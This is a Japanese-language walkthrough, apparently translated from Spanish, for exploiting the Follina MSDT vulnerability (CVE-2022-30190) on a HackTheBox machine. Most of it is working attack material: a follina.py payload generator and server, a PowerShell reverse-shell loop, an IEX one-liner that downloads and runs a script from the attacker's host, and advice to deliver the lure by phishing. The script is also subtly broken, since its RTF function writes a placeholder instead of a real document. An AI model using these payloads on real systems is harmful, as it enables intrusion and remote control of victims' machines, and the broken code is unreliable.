
CVE-2022-30190 (Follina) 用の自動化 PoC エクスプロイト。MSDT プロトコルを悪用して悪意のある RTF/DOCX ファイルを生成し、PowerShell を介して任意のコマンドを実行し、リバースシェルを展開します。
Follina (CVE-2022-30190) は、Microsoft サポート診断ツール (MSDT) に影響を与える重大なリモートコード実行 (RCE) 脆弱性です。この欠陥は、元々 VirusTotal で検出された悪意のあるファイルを通じて発見され、研究者の Kevin Beaumont によって命名されました。
HackTheBox の Outdated マシンのコンテキストでは、この脆弱性はシステムへのアクセスを得るための主要なエントリベクトルとして使用されます。
この悪用は、ms-msdt プロトコルスキームの悪用に基づいており、攻撃者が外部リソースを読み込むことで任意のコードを実行できるようにします。攻撃は、特別に細工された Office 文書 (DOCX) またはリッチテキストファイル (RTF) を開くかプレビューするだけでトリガーされます。
攻撃を自動化するには、GitHub などのプラットフォームで利用可能な概念実証 (PoC) スクリプトを使用することをお勧めします。follina.py スクリプトを使用すると、ペイロードを簡単に構成できます。
推奨リポジトリ: John Hammond や Edge-Security などの研究者による機能的なバージョンが言及されています。
生成コマンド:
python3 follina.py -m command -t rtf -c "comando_a_ejecutar"
ここで:
-m は実行モード (command または binary) を指定します-t はファイルの種類 (rtf または docx) を指定します-c は注入するコマンドを指定しますWindows で対話型コンソールを取得する効果的な方法は、Nishang スイートのリバースシェル (Invoke-PowerShellTcp.ps1) をダウンロードして呼び出す PowerShell ステートメントを注入することです。
悪用スクリプトは、Base64 でエンコードされた命令を含む悪意のある HTML リソースを生成し、それをローカル Web サーバー (ポート 80) に自動的にホストします。悪意のある文書 (click_me.rtf) はこの URL を指すように設定され、Windows の診断プロセスをトリガーしてコードを実行します。
現実的なシナリオや監査シナリオでは、攻撃者はフィッシング技術や SMTP (swaks などのツールを使用) を通じて、HTML リソースへのリンクや悪意のある文書を被害者に送信できます。
ユーザーが操作した瞬間 (またはファイルを処理する自動タスクによって)、MSDT はペイロードを解釈し、攻撃者のマシンへの接続を確立します。
接続を受信するには、攻撃者はリバースシェルで設定されたポートで待ち受け (netcat や rlwrap など) を行う必要があります。悪用に成功すると、操作を実行したユーザーの権限を持つ対話型コンソールが得られ、ローカル列挙と権限昇格に進むことができます。
follina.py スクリプトの実装このスクリプトは、悪意のあるファイル (RTF または DOCX) の作成を自動化し、ms-msdt プロトコルスキームを悪用する HTML リソースを生成して、ペイロードを配信するためのローカルサーバーを起動します。
follina.pyimport argparse
import base64
import http.server
import socketserver
import os
import threading
# Estructura basada en la investigación de Kevin Beaumont y las PoC mencionadas [2, 6]
def generate_payload(command):
# El comando debe estar codificado en Base64 para ser procesado por MSDT [5]
command_b64 = base64.b64encode(command.encode()).decode()
# Payload que abusa del protocolo ms-msdt [5]
# Se utiliza una cadena larga de caracteres para llenar el buffer y gatillar la ejecución
payload = f"""<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=psh /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe $([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{command_b64}')))\\"";
// Relleno adicional para asegurar el procesamiento
""" + ("A" * 4096) + "</script>"
return payload
def create_rtf(filename, server_url):
# Genera un archivo RTF que apunta al recurso HTML externo [3, 4]
print(f"[*] Generando archivo malicioso: {filename}")
# Nota: En una implementación real, aquí se inyecta el OLE object que apunta a server_url
with open(filename, "w") as f:
f.write(f"Archivo RTF configurado para conectar a {server_url}/exploit.html")
def run_server(port):
handler = http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(("", port), handler) as httpd:
print(f"[*] Servidor HTTP activo en el puerto {port} [7]")
httpd.serve_forever()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="PoC Follina (CVE-2022-30190)")
parser.add_argument("-m", "--mode", choices=["command", "binary"], default="command", help="Modo de ejecución [3]")
parser.add_argument("-t", "--type", choices=["rtf", "docx"], default="rtf", help="Tipo de archivo a generar [3]")
parser.add_argument("-c", "--command", required=True, help="Comando a ejecutar en el sistema víctima [3]")
parser.add_argument("-p", "--port", type=int, default=80, help="Puerto del servidor local [7]")
args = parser.parse_args()
# 1. Crear el payload HTML
html_content = generate_payload(args.command)
with open("index.html", "w") as f:
f.write(html_content)
# 2. Crear el documento malicioso
filename = f"click_me.{args.type}"
create_rtf(filename, "http://tu_ip_atacante")
# 3. Iniciar el servidor para recibir la petición [4, 7]
run_server(args.port)
重要なパラメータ: ソースで説明されているように、スクリプトはモードに -m、ファイルタイプに -t、コマンドに -c を使用します。
PowerShell の注入: s4vitar のトレーニングで見られる一般的な使用方法は、対話型アクセスを得るために、Nishang のリバースシェル (Invoke-PowerShellTcp.ps1) をダウンロードして呼び出す PowerShell ステートメントを注入することです。
実行: 攻撃は、被害者が悪意のあるファイル (RTF/DOCX) を開くか、単に表示したときにトリガーされ、システムが HTML リソースを読み込もうとし、Microsoft 診断ツール (MSDT) を通じてコマンドを実行します。
待ち受け: 被害者マシンで exploit がトリガーされたら接続を受信できるように、リバースシェルで指定したポートで待ち受け (netcat など) を行っている必要があります。
Invoke-PowerShellTcp.ps1 スクリプト (Nishang)Invoke-PowerShellTcp.ps1 スクリプトは、Windows システムでリバースシェルを取得するために Nishang スイートで最もよく使用されるツールの 1 つです。
オリジナルのスクリプトは、GitHub の Nishang 公式リポジトリからダウンロードされます。使用するための一般的な手順は次のとおりです:
wget を使用して、リソースを攻撃者のマシンに取得します。reverse.ps1 や ps.ps1 など短い名前にリネームするのが一般的です。スクリプトを自動実行可能なペイロードに変換するには、.ps1 ファイルの末尾に次のような行を追加します:
Invoke-PowerShellTcp -Reverse -IPAddress <TU_IP_ATACANTE> -Port <TU_PUERTO>
<TU_IP_ATACANTE> と <TU_PUERTO> は、あなたの待ち受け設定 (例: 10.10.14.29 と 443) に置き換える必要があります。
$client = New-Object System.Net.Sockets.TCPClient('<IP>',<PUERTO>);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
(注: このコードは、Compiled などのマシンの攻略で言及されている "gitbash" と対話型ターミナルのロジックに従っています。)
攻撃者がスクリプトをローカル HTTP サーバー (ポート 80) にホストしたら、被害者マシンで IEX (Invoke-Expression) コマンドを使用して、ディスクに触れることなくメモリ内で直接読み込んで実行します:
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://<TU_IP>/reverse.ps1')"
この方法は、Follina などの脆弱性の悪用や、Web サービスを侵害した後の初期アクセスの獲得において基本となります。実行されると、攻撃者は待ち受け中の netcat セッションで接続を受信します。
Pwned!!!